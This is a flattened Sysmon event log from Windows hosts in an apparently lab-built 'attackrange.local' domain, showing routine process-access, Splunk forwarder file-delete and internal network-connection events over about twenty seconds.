15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000053951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:41.060{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5A5E5957945E730A2D092674B21C8B41,SHA256=9D6DFA9219567035C84DE249963C434620FA5848FBA0C87EED66708192F80853,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017341Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:42.843{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=06B3E48BA76B9E069A8686B4C9BCCB56,SHA256=8D38ABB981F154BC5C2C5BE0B17E4E5A944B099D761EBA26039358563CC31256,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:42.145{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6BAE4E96AEA49DDB8B5BCDF1475F3BFC,SHA256=6BB049FB4FAEA16347D024BF786B2B2BF6AD62689AC51FCCB3E110C52F31E71C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017343Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:43.858{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C8C04A322D3AE360CD6110850F8BF156,SHA256=4B7C6EFA93CB3D2D7599A5A221147FF5FD81ABBC229FA13AD574959D9C79D2F1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:43.160{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C23FB70C032F2DF24ED14957F35A4009,SHA256=2BF12BC7C913F255F0AB6AD2BBD811904302D236BB3E7C72E42DDCA71CCEB5B3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017342Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:41.539{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50349-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 354300x800000000000000053985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:40.355{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63086-false10.0.1.12-8000- 23542300x800000000000000017344Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:44.874{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=62E478A2877AD9DA03852E74CC37C0C7,SHA256=EDB4BE669FE514B0AA259B952F379A0D070C7E4B7811117B57560C0E054B5770,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:44.259{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=85B899DB4F076A96F7712B96771367EC,SHA256=CE23ECE8BE67B8E6F6781D950CA406A3AD6120DAB28DC4D95952CB1E0E080CDC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017345Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:45.889{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=344CF0B93C7F9554CC3BD94E7DFCCAA6,SHA256=1B0320C814AFE76DE76F2ADCDADA5704264A7F56EA3137B933261A33AA83DC6C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:45.277{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7BFC62BB6E519D8C6EEBA4707338C275,SHA256=795D327DF73F6820EECC32718A04890A29AD11D44A74AA0ECBBDE8A3C2FEC061,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017346Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:46.905{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B6EF139C95E95047AB67F9F5345544DB,SHA256=3E13D41C8F2705151D39CCE21DEB20C1CCCC434341FC150BD99B80CC1C6B3908,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:46.311{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F4D2D1527D74D93514B94AB79270245C,SHA256=1662212C76554FEEF27BF9B70E0AA4FA9D87EEC84EB5D1E7CBE688B9E13EE01C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017347Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:47.952{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8EF878E28617AF90ECEF8634F7E7A92C,SHA256=2E48B6675B5DB4414B94AD0AED5DFCD767963EEAE856923EAEDDB7F728B4D5C5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:47.327{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B94035D8A7C6A44AC04ABD67BD568C0,SHA256=7EB65F2E629AD840AEC6EE55F459CB2D2C565694CA4287C37A8F61E306C0F931,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000053990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:43.978{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63087-false104.46.162.226-443https 23542300x800000000000000017349Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:48.983{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD45BC9F57539C87E1D0BF70FC1D0AD4,SHA256=7444C957E9A63FD6807CEEE0FCE42A6C43445015BA2743DAEFCDE0F47E69757B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:48.381{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=76386E8A5F73D429C6F4F1B682375FFA,SHA256=D7186F9BE6ACBEBC1BB9D16DBE33381B54A12367A97075CC694CBF483D4D9825,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017348Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:47.429{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50350-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 354300x800000000000000053992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:45.372{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63088-false10.0.1.12-8000- 23542300x800000000000000053994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:49.427{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=871C63AAA6114B4946350DC68B290D0D,SHA256=0D394B717266B899503BFFC36290D5D7733933383BC99ACE7E9B32CC54CDBF7D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:50.459{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4F6A0AA59BFDBB4A0E2707846D4B4871,SHA256=8261B94798063D26FAF477503D96E393A614C3F3B098643803EBCCDBE7B573D9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017350Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:49.999{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1393D6ED195964A392152DB68AEF4B3E,SHA256=88159EB3EF65EF2BEBC5E351B1D166EA69BDF2ACB96A922F558C8622F51D8345,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:51.476{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=653DF616A17D7285B7534F856EBA0ADB,SHA256=771BBD146D172BE851EC8555E186E1C2EA9E3E3B9D2FCCD2629A666BB924D002,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017351Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:51.014{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B7092AEB003ACC0B97F067CCCDC7125E,SHA256=DCC609EF237711D01324678FD8067881DB79066781F55DEA0C242348A980E9C7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:52.526{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B84BAFE24BEC3A3E629FE31077DE63EC,SHA256=0F9904FB78C24C313BA9AD3CD8463984BBD7B7E445124628AB1EA73E80D553DA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017352Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:52.027{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7A089C8818F1AC32E7359AC263835E6C,SHA256=1B02A68B9D467A7AF922FBAE961429CF38E81B6BBB20BC73E9BB19F22EE2166B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:53.574{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F9B83174E6493731AC172F2C95C1637F,SHA256=C38E115BB2A9FE6823A36F3B8F9F278530D6B3070D3F45C3C8880DBC028431A5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017353Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:53.074{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9C570107DE87402C63F257023D1E016F,SHA256=4F3720B410DFFAC1B7107E753FE4E42C0AA1CD961B59E2B47D32E69594CED8AC,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:50.406{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63089-false10.0.1.12-8000- 23542300x800000000000000054000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:54.594{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=329D984731D1A10B854588327DEE6C51,SHA256=B65E8A790D8B18BF46F414AEA5F3CFF9C68C15352389E3C668D5B0F463277FA5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017355Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:53.411{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50351-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017354Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:54.121{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=47254D4C15259947D20582461169A77D,SHA256=A34D55B55B625FC9E6B930535DC14BDF8F5939260D247B0003D1186202F4DED7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:55.624{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C4F0BA6755B9855191A091C619959273,SHA256=44BB8825A677FA2F3D37189B6E4E85B04FC0CBFDCE30AAB25486B5A51E1F8951,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017357Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:55.136{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017356Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:55.136{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4AA681463B0E67AEE40CED5AB3D289B9,SHA256=86F241E8FCE67F72E5CE9FEE6E172BBA5A09A34E6E0870ED434429606AA9A608,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:56.638{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4DC9FA7106125C2005BF6AD4A10F3009,SHA256=1F4E3D5368B6D091F5FC00E22DD4CC043186325065181DF5000B8C299D64921C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017359Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:55.442{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50352-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000017358Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:56.152{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=93CC85FF22972F634A23A8F051F357A6,SHA256=8A0294442D5425A82EF94055A5A1E27A9B7FAED59E6302C205681477CC29CDA3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:57.658{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=05769E904E80A2F60A63E1EE30837C04,SHA256=E5AD64FDA28524D4021183FDBD560A16F8ADB2CAA21E57BBE587BCC69F214FEB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017360Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:57.168{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=37D0A5D000F569769EB84C947DF8EF34,SHA256=112F6073BEDFEBA04CAA395A45489652B9B0ED3BD6263472E93C2328A3C74EBA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:58.659{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=53D006D116F80DF042FD3E819732609C,SHA256=2B829A8BBEA75EF88304F5C5527A6F9B0E61E4CEDE3065CE0912A7DCB1551FC4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017361Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:58.183{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=170E67C0E2550E3D160D1CC66928B56D,SHA256=20C20C7A34F91899B57E0CB0D8DE4CAD6478C4001A49FE1EAB9CD0DB820EEEA8,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:55.433{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63091-false10.0.1.12-8000- 23542300x800000000000000054008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:59.681{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DCBEED9598012EC3A71FF308C5A9CE05,SHA256=7CF4B2CE6796A0C14D45E89BA68F325CBAE585B924C67CEB5C4EE444B93D5EE9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 